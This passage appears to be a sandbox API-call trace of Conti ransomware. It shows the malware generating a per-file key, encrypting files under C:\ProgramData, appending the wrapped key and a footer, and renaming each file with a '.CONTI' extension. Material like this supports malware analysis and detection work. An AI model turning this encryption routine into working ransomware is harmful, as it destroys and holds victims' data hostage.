	[0103.771] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.775] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.775] WriteFile (in: hFile=0x3b4, lpBuffer=0x17c5c6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17c5c6c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0103.778] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.778] ReadFile (in: hFile=0x3b4, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x2b8a, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x2b8a, lpOverlapped=0x0) returned 1
	[0103.784] CryptEncrypt (in: hKey=0x17c8270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x2b8a, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x2b90) returned 1
	[0103.784] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.784] WriteFile (in: hFile=0x3b4, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x2b90, lpOverlapped=0x0) returned 1
	[0103.785] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.785] WriteFile (in: hFile=0x3b4, lpBuffer=0x17c5c60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17c5c60*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0103.785] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.785] CloseHandle (hObject=0x3b4) returned 1
	[0103.788] GetProcessHeap () returned 0x1720000
	[0103.788] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0103.788] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml"
	[0103.788] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.CONTI"
	[0103.788] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml.conti")) returned 1
	[0103.805] GetProcessHeap () returned 0x1720000
	[0103.805] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0103.805] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0103.805] GetProcessHeap () returned 0x1720000
	[0103.805] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d1cd0 | out: hHeap=0x1720000) returned 1
	[0103.805] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0103.805] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17d9438 | out: phKey=0x17d9438*=0x17c85b0) returned 1
	[0103.805] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d943c, pdwDataLen=0x3cffb14 | out: pbData=0x17d943c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0103.806] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man")) returned 0x20
	[0103.808] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0103.808] GetLastError () returned 0x0
	[0103.808] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=112678) returned 1
	[0103.808] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1b826
	[0103.808] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.808] SetEndOfFile (hFile=0x2f8) returned 1
	[0103.809] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.810] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.810] WriteFile (in: hFile=0x2f8, lpBuffer=0x17d943c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17d943c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0103.811] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.811] ReadFile (in: hFile=0x2f8, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x1b826, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x1b826, lpOverlapped=0x0) returned 1
	[0103.812] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x1b826, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x1b830) returned 1
	[0103.813] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.813] WriteFile (in: hFile=0x2f8, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x1b830, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x1b830, lpOverlapped=0x0) returned 1
	[0103.813] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.813] WriteFile (in: hFile=0x2f8, lpBuffer=0x17d9430*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17d9430*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0103.813] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.813] CloseHandle (hObject=0x2f8) returned 1
	[0103.814] GetProcessHeap () returned 0x1720000
	[0103.814] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fa408
	[0103.814] lstrcpyW (in: lpString1=0x17fa408, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man"
	[0103.814] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man.CONTI"
	[0103.815] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man.conti")) returned 1
	[0103.818] GetProcessHeap () returned 0x1720000
	[0103.818] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fa408 | out: hHeap=0x1720000) returned 1
	[0103.820] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0103.820] GetProcessHeap () returned 0x1720000
	[0103.820] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cbc10 | out: hHeap=0x1720000) returned 1
	[0103.820] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0104.237] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17d4d58 | out: phKey=0x17d4d58*=0x17c84f0) returned 1
	[0104.237] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4d5c, pdwDataLen=0x3cffb14 | out: pbData=0x17d4d5c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0104.238] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png")) returned 0x20
	[0104.240] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.240] GetLastError () returned 0x5
	[0104.240] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0104.240] GetProcessHeap () returned 0x1720000
	[0104.240] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d4a8 | out: hHeap=0x1720000) returned 1
	[0104.240] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0105.001] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17d4b10 | out: phKey=0x17d4b10*=0x17c8370) returned 1
	[0105.001] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4b14, pdwDataLen=0x3cffb14 | out: pbData=0x17d4b14*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0105.002] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\AutoLogger-Diagtrack-Listener.etl" (normalized: "c:\\programdata\\microsoft\\diagnosis\\etllogs\\shutdownlogger\\autologger-diagtrack-listener.etl")) returned 0x2020
	[0105.002] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\AutoLogger-Diagtrack-Listener.etl" (normalized: "c:\\programdata\\microsoft\\diagnosis\\etllogs\\shutdownlogger\\autologger-diagtrack-listener.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.002] GetLastError () returned 0x5
	[0105.002] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0105.002] GetProcessHeap () returned 0x1720000
	[0105.002] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3740 | out: hHeap=0x1720000) returned 1
	[0105.002] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0105.428] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17d61e0 | out: phKey=0x17d61e0*=0x17c7f70) returned 1
	[0105.428] CryptExportKey (in: hKey=0x17c7f70, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d61e4, pdwDataLen=0x3cffb14 | out: pbData=0x17d61e4*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0105.429] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml")) returned 0x20
	[0105.429] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.429] GetLastError () returned 0x5
	[0105.429] CryptDestroyKey (hKey=0x17c7f70) returned 1
	[0105.429] GetProcessHeap () returned 0x1720000
	[0105.429] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d578 | out: hHeap=0x1720000) returned 1
	[0105.429] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0106.369] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17d41f0 | out: phKey=0x17d41f0*=0x17c7ef0) returned 1
	[0106.369] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d41f4, pdwDataLen=0x3cffb14 | out: pbData=0x17d41f4*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0106.370] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml")) returned 0x20
	[0106.540] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.549] GetLastError () returned 0x0
	[0106.554] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=2444) returned 1
	[0106.554] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x98c
	[0106.554] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.554] SetEndOfFile (hFile=0x3a8) returned 1
	[0106.554] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.554] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.554] WriteFile (in: hFile=0x3a8, lpBuffer=0x17d41f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17d41f4*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0106.556] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.556] ReadFile (in: hFile=0x3a8, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x98c, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x98c, lpOverlapped=0x0) returned 1
	[0106.556] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x98c, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x990) returned 1
	[0106.556] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.556] WriteFile (in: hFile=0x3a8, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x990, lpOverlapped=0x0) returned 1
	[0106.556] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.556] WriteFile (in: hFile=0x3a8, lpBuffer=0x17d41e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17d41e8*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0106.556] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.557] CloseHandle (hObject=0x3a8) returned 1
	[0106.557] GetProcessHeap () returned 0x1720000
	[0106.557] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0106.557] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml"
	[0106.557] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.CONTI"
	[0106.557] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.conti")) returned 1
	[0106.557] GetProcessHeap () returned 0x1720000
	[0106.557] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0106.558] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0106.558] GetProcessHeap () returned 0x1720000
	[0106.558] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cb9b8 | out: hHeap=0x1720000) returned 1
	[0106.558] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0106.558] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17c5590 | out: phKey=0x17c5590*=0x17c84f0) returned 1
	[0106.558] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5594, pdwDataLen=0x3cffb14 | out: pbData=0x17c5594*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0106.558] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\masterdatastore.xml")) returned 0x20
	[0106.559] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.559] GetLastError () returned 0x0
	[0106.559] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=271) returned 1
	[0106.559] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f
	[0106.559] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.559] SetEndOfFile (hFile=0x3a8) returned 1
	[0106.560] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.560] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.560] WriteFile (in: hFile=0x3a8, lpBuffer=0x17c5594*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17c5594*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0106.565] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.565] ReadFile (in: hFile=0x3a8, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x10f, lpOverlapped=0x0) returned 1
	[0106.565] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x10f, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x110) returned 1
	[0106.565] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.565] WriteFile (in: hFile=0x3a8, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x110, lpOverlapped=0x0) returned 1
	[0106.565] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
